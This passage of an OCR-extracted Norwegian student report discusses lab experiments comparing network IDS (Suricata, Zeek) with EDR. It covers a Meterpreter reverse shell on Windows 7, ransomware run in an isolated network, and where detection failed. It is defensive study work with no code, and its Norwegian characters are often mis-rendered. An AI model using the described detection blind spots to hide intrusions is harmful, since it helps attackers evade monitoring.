kjerte den. Vi sa i forbindelse med dette pa hvordan nettverkstrafikken gjennom hele

angrepet ble fanget opp av deteksjonsverktgyene vare.

Skanningen og det pafglgende angrepet pa Windows 7-maskinen ga oss mye informasjon om
hvordan deteksjonsverktayene vare pa nettverksniva fungerte. Skanningen og angrepet i seg
selv ble godt dokumentert og fanget opp av Suricata og Zeek. Etter at det reverse tcp-skallet
var opprettet derimot, sa klarte ikke lenger verktayene vare a fange opp hva som skjedde.
Endepunktsbasert deteksjonsteknologi derimot, ville fatt med seg at det ble lastet ned og kjert

en fil pa Windows 7-maskinen etter at angriperen farst fikk tilgang.
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Ellers er det ogsa en god del aspekter ved forsgket som det er verdt a diskutere. Det & benytte
en sarbarhetsskanner pa to datamaskiner som aldri faktisk har blitt brukt fer, og felgende ikke
kjarer vilkarlige programmer og tjenester, er i seg selv en gvelse uten serlig dybde. Dette
betyr ogsa at resultatene vi fikk egentlig var svaert forutsigbare (selv om det ikke framsto slik
for oss, da vi ikke har gjennomfgrt lignende aktiviteter far). Skanningen ble ogsa bare
gjennomfart pa to maskiner, der den ene var fullstendig utdatert (gammel Windows 7-
versjon), og den andre helt oppdatert (Ny og oppdatert Windows 10-versjon). Dette er ogsa
en stor svakhet da vi burde gjennomfart et slikt forsgk pa et mer komplekst og realistisk
miljg. Utfra dette kan vi derfor si at selv om selve metodikken i forsgket vi gjennomfarte var
en ganske bra metodikk, var ikke dette ngdvendigvis et optimalt forsgk a gjennomfare i
testmiljget vart. Samtidig vil vi ogsa si at vi leerte ekstremt mye av & gjennomfare dette

forsgket.

Nar det kommer til hva vi kan ta med oss videre fra dette forsgket, gitt konteksten til
oppgaven var, sa tar dette utgangspunkt i tre forskjellige aspekter. For det farste fant vi ut at
deteksjonsverktay pa nettverksniva har en mulig svakhet mot C2-kommunikasjon
(«command and control»). Gitt et scenario der selve angrepet ikke blir oppdaget av NIDS,
betyr dette at angriperne kan benytte tilgangen over lang tid uten a bli oppdaget. Dette taler
for en svakhet med NIDS og deteksjon pa nettverksniva. Videre sa viste forsgket (i likhet
med forsgk 1) at NIDS er et bra deteksjonsverktay dersom forholdene legger til rette for det
(kjent angrep, ukryptert data). Selv om vi ikke dokumenterte i rapporten at vi gikk i dybden
og analyserte angrepet, var dette noe vi ogsa gjorde, og vi kunne se ned pa pakkeniva hva
som skjedde fra start til slutt. Dette er en styrke med NIDS og deteksjon pa nettverksniva. Det
siste aspektet vi tar med 0ss videre gitt oppgavens kontekst, er at ved bruk av nettverksbasert
deteksjon, sa kan NIDS i noen tilfeller fa stor stette ogsa av andre nettverksbaserte
deteksjonsvertkay. | forsgket oppdaget ikke NIDS noen ting i forbindelse med Meterpreter-
sesjonen vi benyttet oss av til a laste opp og kjare et program pa Windows 7-hosten, noe Zeek

gjorde.

Totalt sett gir altsa dette forsgket et noe blandet bilde av NIDS og deteksjonsverktay pa
nettverksniva gitt oppgaven var sin kontekst. Vi tar likevel med oss noen av de positive
aspektene med NIDS og deteksjonsverktgy pa nettverksniva ellers, ved at det ga god innsikt,
og at dette er noe som man ikke ngdvendigvis ville fatt med andre deteksjonsverktgy. Dette
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er riktignok igjen noe vi ikke kan legge alt for mye dybde i, da vi ikke fikk muligheten til &

sammenligne direkte med en EDR-klient.

6.1.4 Drofting av forsgk 3 - MITRE ATT&CK-teknikk 1486

Det tredje forsgket vi gjennomfarte i testmiljeet tok utgangspunktet i MITRE ATT&CK-
teknikken T1486. Teknikken beskriver at angripere krypterer data pa malsystemer eller hele
nettverk bestaende av flere malsystemer. Det vi gjorde for & gjennomfare et forsgk tilknyttet
teknikken, var at vi kjarte forskjellige former for Ransomware i et isolert nettverk i
testmiljget vart, og felgende sa pa hva som skjedde pa nettverksniva. Hensikten med a
gjennomfgre denne gvelsen baserte seg i stor grad pa at vi da kunne undersgke og
dokumentere hvordan forskjellige former for Ransomware sprer seg i et lokalnettverk. Dette
fikk vi ikke muligheten til, da skadevaren ikke spredte seg i nettverket under en eneste av
testene som ble gjennomfart. Dermed var i stor grad alt vi satt igjen med av resultater fra
forsgket at de ulike formene for Ransomware undersgkte det lokale nettverket basert pa

malmaskinens ARP-tabell, i tillegg til at skadevaren forsgkte & kommunisere eksternt.

Dermed vil vi si at vi fikk skuffende lite ut av forsgket. Dette hadde riktignok en klar
sammenheng med at vi ikke fikk spredt viruset i nettverket slik vi gnsket. Hadde vi hatt bedre
tid, og ogsa hatt bedre kunnskap nar det kom til hvor vi skulle innhente Ransomware-
skadevare, kunne resultatet fort blitt annerledes. Samtidig ma det ogsa nevnes at til tross for
dette leerte vi likevel en del om NIDS og nettverksbasert deteksjon sin potensielle rolle i
forbindelse med et Ransomware-angrep. Denne innsikten kom i stor grad gjennom arbeidet

med forsgket, og ikke gjennom forsgket i seg selv.

Ellers fikk vi ogsa et mer spesifisert syn pA MITRE ATT&CK sin matrise. | forbindelse med
matrisen kan vi si at basert pa arbeidet med NIDS og nettverksbasert deteksjon sa har
teknologiene mer for seg nar det kommer til andre MITRE-teknikker enn taktikker under
“Impact” i matrisen. Eksempler pa der NIDS og nettverksbasert deteksjon kan ha mer for seg
er under taktikken “Initial Access”, for eksempel i forbindelse med teknikken “T1189 Drive-

by Compromise”.
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Basert pa forsgket i seg selv, og ogsa arbeidet vi la ned tilknyttet forsgket, kan vi dermed
oppsummere med 4 si at inntrykket vi pa forhand hadde av nettverksbasert deteksjon
tilknyttet MITRE-taktikken T1486, i stor grad er som forventet. Dette er til tross for at vi ikke
fikk resultater som vi gnsket fra forsgket, som igjen var grunnet med at skadevaren ikke
oppfarte seg som forventet. Inntrykket som ble bekreftet gar ut pa at nettverksbasert
deteksjon ikke tilbyr noe serlig innsikt tilknyttet taktikken, og spesielt ikke gjennom NIDS.
Samtidig er det mulig a lage regler i NIDS som vil kunne fange opp og falgende varsle om
deler av trafikken som vi faktisk fikk fanget opp i forsgket, men vi tror at dette vil kunne fore
til en hel del falske positive, og sann sett tror vi ikke at dette er en hensiktsmessig ting a
gjore. Sett i kontekst av den overordnede oppgaven tilbyr arbeidet med forsgket i liten grad
innsikt som er av stor betydning for oppgaven, bortsett fra at prosjektgruppas generelle
kompetanse tilknyttet NIDS ble gkt.

6.1.5 Forsgk vi ikke fikk gjennomfart

Det er ogsa en rekke forsgk som vi gjerne skulle gjennomfart, men som vi ikke fikk
muligheten til i arbeidet med testmiljget. Dette var farst og fremst tilknyttet at vi ikke fikk tid
til dette, men det er absolutt noe vi, og ogsa andre, kan gjare i et slikt testmiljg i fremtiden.
Grunnen til at vi ikke fikk tid til dette, er hovedsakelig knyttet til at prosjektgruppen fikk de
ngdvendige ressursene til & bygge testmiljget i skyen over en maned senere enn planlagt.
Dermed ble laben ferdigbygget pa et mye senere tidspunkt enn farst estimert, og falgelig ble

det ogsa et mindre tidsrom tilgjengelig for a utfgre forsgk.

Det forsgket (metodikken) som vi i utgangspunktet gnsket a basere store deler av arbeidet
vart i testmiljget pa, var a ta utgangspunktet i en eller flere trusselakter hos MITRE
ATT&CK (eksempelvis FING). Falgende skulle vi ser pa hvilke angrepsteknikker (basert pa
MITRE ATT&CK-rammeverket) trusselaktgren benyttet seg av, og studere rapporter
tilknyttet teknikkene. Vi skulle s& benytte denne innsikten til 4 sette opp tester i testmiljget,
for videre a se hvordan angrepene utspilte seg pa nettverksniva. Forsgket som er gjort rede
for i punkt 5.3 er en svart forenklet utgave av denne metodikken, da vi her har sett pa
MITRE ATT&CK-teknikk T1486.

Det er ogsa flere forskjellige elementer med testmiljget vi gjerne skulle sett for oss at var

annerledes. Dette innebzrer aspekter som vi ogsa har veert innom i drgftingen tidligere i
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rapporten, men her kommer det en slags oppsummering av disse aspektene. Optimalt sett
skulle vi gjerne implementert EDR-teknologi i testmiljget. Videre ville vi gjerne ha benyttet
0ss av en SSL/TLS-proxy, slik at vi falgende kunne benyttes oss av SSL/TLS-inspeksjon.
Dette hadde riktignok ogsa vaert avhengig av at vi hadde kunnet simulere vilkarlig
nettverkstrafikk selv, noe vi heller ikke har gjort i dette testmiljget. Til slutt skulle testmiljget
gjerne ha veert mye mer avansert, og falgende mer likt en organisasjon i virkeligheten. |
testmiljget vart var det kun 4 forskjellige enheter, og falgende er det tilnsermet umulig a
replikere mer realistiske forhold for testmiljget. Hadde alle disse aspektene blitt realisert, ville
vi hatt et bedre grunnlag for & svare pa oppgaven ved a gjennomfgre de testene vi
gjennomfarte. Vi ville da ogsa hatt et bedre grunnlag for a gjennomfare en rekke flere, ogsa

og annerledes tester enn det vi endte opp med a gjennomfare.

6.2 EDR VS NIDS (endepunktsbasert vs nettverksbasert)

Et sveert sentralt poeng med tanke pa den overordnede konteksten i oppgaven var, er &
sammenligne teknologiene EDR og nettverksbasert IDS (NIDS), og se pa deres styrker og
svakheter knyttet opp mot hverandre. Vi har i denne drgftingen ogsa tatt utgangspunkt i
NIDS-Igsninger som baserer seg pa signaturbasert deteksjon fremfor anomali-baserte

lgsninger av NIDS.

En stor styrke ved EDR, er at slike sikkerhetssystemer har innsyn i hva som foregar pa selve
endepunkt-maskinene. Dette gjar at mistenkelig oppfarsel og bruk av maskinvareressurser
kan detekteres, og i tillegg at sikkerhetssystemet har en kontrollerende myndighet pa
maskinene, og dermed ogsa kan stoppe angrep i a bli utfgrt underveis. 1 tillegg til dette, vil
sikkerhetssystemet kunne virke beskyttende, uavhengig av hvor endepunktene befinner seg,
da det er programmer som kjgres lokalt pa maskinene. Et system som baserer seg pa
visibilitet pa nettverksniva, slik som et NIDS, vil av natur ikke ha innsyn i hva som foregar
pa innsiden av maskinene, og hviler dermed pa a detektere mistenkelig trafikk som er pa vei

inn dit.

Samtidig kan nettopp det med at EDR hviler pa lokale programmer pa endepunktene ogsa
veere en mulig svakhet med a utelukkende hvile sikkerheten pa slike systemer i en
organisasjon. Det kan vise seq i tilfeller hvor noen endepunkter ikke har slik programvare

installert, enten fordi det ikke er mulig, ikke har blitt gjort enda, programvarefeil, eller av
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andre grunner. | tillegg kan det oppsta tilfeller hvor eksterne maskiner kobler seg pa
organisasjonens nettverk, som i utgangspunktet ikke er tiltenkt a veere der, som for eksempel

ansattes private maskiner.

Det finnes fordeler og ulemper ved begge teknologiene, og det er vanskelig & konkludere med
hvilken teknologi man bgr benytte seg av pa et generelt grunnlag. Kontekst er sveert
essensielt og viktig a ta i betraktning i en slik sammenheng, og ting som ressurser, behov,
kapasitet, og hvilken type miljg som skal sikres, og kost-nytte er eksempler pa faktorer som
spiller en stor rolle om man skal foreta en slik vurdering. P& en annen side kan ogsa de ulike
teknologiene komplementere hverandre, og man kan argumentere for at det aller beste vil
veere & benytte seg av en kombinasjon av begge deler, for & gke den totale sikkerheten. Et
NIDS kan ogsa for eksempel samkjgres gjennom et SIEM for bedre kredibilitet, pa en mate
som krever mindre ressurser enn ellers, og dermed kunne redusere kostnaden ved a benytte
seg av denne teknologien. Dette er for gvrig bruksomrader som prosjektgruppen ikke har
analysert detalj, og felgelig heller ikke kan ta utgangspunkt i, til tross for at det hadde veert et

interessant tema for videre undersgkelser.

EDR er som nevnt reaktiv, ved at systemet kan gripe inn og stoppe et angrep i a bli eksekvert.
Dette er noe NIDS ikke gjar, men hvor mulige trusler og angrep heller blir presentert
gjennom varsler og alarmer, som teknikere igjen ma undersgke og eventuelt reagere pa. Det
finnes ogsa implementasjoner av slik visibilitetsteknologi som har muligheten til & autonomt

gripe inn og reagere, som ved et NIPS, men dette er utenfor rekkevidden for dette prosjektet.

En annen styrke ved NIDS, er at det er kort vei fra a utvide et regelsett, legge til signaturer
eller pa en annen mate oppdatere eller endre pa funksjonaliteten, til dette er fungerende i
produksjon. Dette kan ogsa bidra til a tale sterkt for en kombinasjon av NIDS og EDR, ved at
teknologiene kan komplementere hverandre, og gi gkt total sikkerhet, blant annet i et tilfelle
hvor ett av beskyttelseslagene er mer oppdatert enn det andre.

Det skal ogsa nevnes at prosjektgruppen i denne oppgaven ikke har rullet ut et EDR system,
og dermed ikke har direkte erfaring med denne virkematen. I tillegg er det viktig & papeke at
disse teknologiene drgftes pa et generelt grunnlag, og at det finnes store variasjoner pa ulike

implementasjoner av hver av dem.
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6.3 “Swizz cheese Model”

“Swizz Cheese Model” er en modell som benyttes innen risikoanalyse og risikostyring pa en
rekke ulike omrader, blant annet innen lagdelt sikkerhet som kjent innenfor datasikkerhet.
Den sammenligner systemer med en kjede bestaende av ost med hull i, og illustrerer poenget
om at sannsynligheten for at en trussel blir realisert, reduseres ved at de ulike lagene har
forskjellige typer beskyttelse. Til sammen utgjer dette en mindre total angrepsoverflate, og

man unngar at systemet har et enkelt punkt som kan svikte sikkerheten.

| kontekst av denne oppgaven kan vi anse NIDS og EDR til & veere to lag i en slik modell.
Basert pa denne modellen, sa vil det & implementere NIDS i et miljg som benytter seg av
EDR-klienter alltid veere et smart valg. Det er riktignok viktig i denne sammenhengen a
huske pa at alt har en pris, og at dette ma tas med i beregningen, ogsa i en slik modell. Koster
NIDS mer a implementere og vedlikeholde enn den ekstra sikkerheten den tilbyr, sa er det
likevel ikke verdt & implementere NIDS, sett fra et kost-nytte perspektiv. Dermed vil det, gitt
at man allerede har EDR-teknologi i miljget sitt, i noen tilfeller lgnne seg & implementere
NIDS, mens det i andre tilfeller ikke vil lanne seg. Dette avhenger av en kombinasjon av
hvilke behov som er til stede, og viktigheten av dem, samtidig som hva som ligger til grunne

av kapasitet og ressurser.

Modellen har ogsa noen svakheter. Sett ut fra oppgaven er det fortrinnsvis verdt a nevne at
modellen ikke tar hgyde for at lagene kan styrke hverandre (eksempelvis kan NIDS potensielt
satt opp i en SIEM forsterke EDR ved & underbygge beslutninger fra en EDR-klient). Dette er
et aspekt som videre ville talt for implementasjon av NIDS som et ekstra lag med sikkerhet,

men som ikke er diskutert videre her.

Som en oppsummering kan vi da si at sett i kontekst av “Swizz Cheese Model”, vil det altsd
lgnne seg a implementere NIDS som en del av verktgykassa av sikkerhetstjenester, gitt at
kostnadene av det er mindre enn den ekstra sikkerhetsgevinsten. Dette er et komplisert
regnestykke, og det vil ogsa variere fra miljg til miljg, avhengig av en rekke faktorer, som for
eksempel kritikaliteten i nettverkstjenestene som den aktuelle bedriften leverer. Ser man
derimot bort fra kostnadene, vil konklusjonen basert pa modellen tilsi at man alltid burde

implementere NIDS i et miljg hvor man har EDR-teknologi.
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6.4 Konklusjon

Oppgaven var gikk ut pa a se nermere pa hvilke “trade-offs” en typisk SOC gjer dersom de
velger & ga vekk fra tradisjonelle nettverksbaserte IDS-teknologier (NIDS) som en del av
verktgykassa for sikkerhetsmonitorering og hendelseshandtering, og heller baserer seg pa mer
moderne endepunktsbaserte EDR-teknologier. For a forsgke a svare pa dette har vi benyttet
oss av to fremgangsmater. Den ene fremgangsmaten har basert seg pa ekstern
informasjonsinnhenting, og bruk av ekstern forskningsdata og rapporter. Den andre
fremgangsmaten vi har benyttet oss av, er at vi har utformet et testmiljg, og gjennomfart
tester i dette miljget. Testmiljget fungerer ogsa som en POC for de teknologiene og den

programvaren vi har benyttet oss av, da dette er dokumentert grundig i dette dokumentet.

Basert pa fremgangsmatene vi har benyttet, har vi kommet frem til flere aspekter som kan
omtales som «trade offs» dersom man velger a ga vekk fra tradisjonelle nettverksbaserte IDS-
teknologier. Det farste, og kanskje mest sentrale, er rett og slett at man gar glipp av innsikt i
hva som foregar pa nettverksniva. Slik innsikt kan blant annet vaere av stor betydning dersom
man skal gjennomga et angrep i etterkant for & analysere hvordan angrepet utspilte seg, for
falgende a kunne unnga lignende angrep i fremtiden. Videre sa gjer man en «trade-off» ved
at man mister visibilitet tilknyttet enheter som ikke er kompatible som EDR-klienter i
nettverket (I0T-enheter og utradisjonelle operativsystemer) eller av andre grunner ikke er
konfigurert med en EDR-klient (private maskiner og telefoner i nettverket). Til slutt er det
ogsa sentralt & nevne at selv om tradisjonelle IDS-teknologier i utgangspunktet ikke kan
analysere kryptert trafikk, sa kan dette muliggjeres likevel ved bruk av SSL/TLS-inspeksjon.
Er dette implementert pa en god mate, vil dette ogsa presenteres som en sentral «trade-off»
ved a ga vekk i fra tradisjonelle nettverksbaserte IDS-teknologier, da dette bringer sveert stor

innsikt i store deler av det som foregar i et nettverk.

Ellers er det et sentralt poeng i denne sammenhengen som baserer seg pa lagmodellen “Swizz
Cheese Model”. Jo flere lag man har med forskjellig typer beskyttelse (i dette tilfellet EDR
og NIDS), jo mindre sjanse er det for at en trussel blir realisert, og pa denne maten reduseres
angrepsoverflaten. Modellen presenterer da en tankegang om at man burde realisere sa mange

lag med beskyttelse som mulig.
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Basert pa det som er diskutert her kan vi konkludere med at det gjares flere «trade-offs» ved
a ga vekk i fra a basere seg pa NIDS og nettverksbasert deteksjon, og heller basere seg pa
EDR og endepunktsbasert deteksjon. Dette er i hovedsak tilknyttet at man gar glipp av
potensiell innsikt, i bytte mot at man far lavere kostnader.

Samtidig ma det nevnes at man ogsa gar glipp av mye innsikt dersom man ikke benytter seg
av EDR og endepunktsbasert deteksjon, og at denne innsikten vurderes som mer Kritisk enn
innsikten man gar glipp av ved a ikke benytte seg av NIDS og nettverksbasert deteksjon.
Basert pa dette burde derfor utgangspunktet i en verktgykasse for arbeid med
sikkerhetsmonitorering og hendelseshandtering basere seg pd EDR og endepunktsbasert
deteksjon. Optimalt sett burde denne verktgykassa ogsa inneholde NIDS og nettverksbasert
deteksjon, men dette er ogsa mer kostbart. Derfor burde det vere en vurderingssak fra
enkelttilfelle til enkelttilfelle om en typisk SOC burde tilby nettverksbaserte IDS-teknologier
som en del av verktgykassen sin (i tillegg til EDR), avhengig av hvordan den respektive

situasjonen ser ut for den enkelte kunde.
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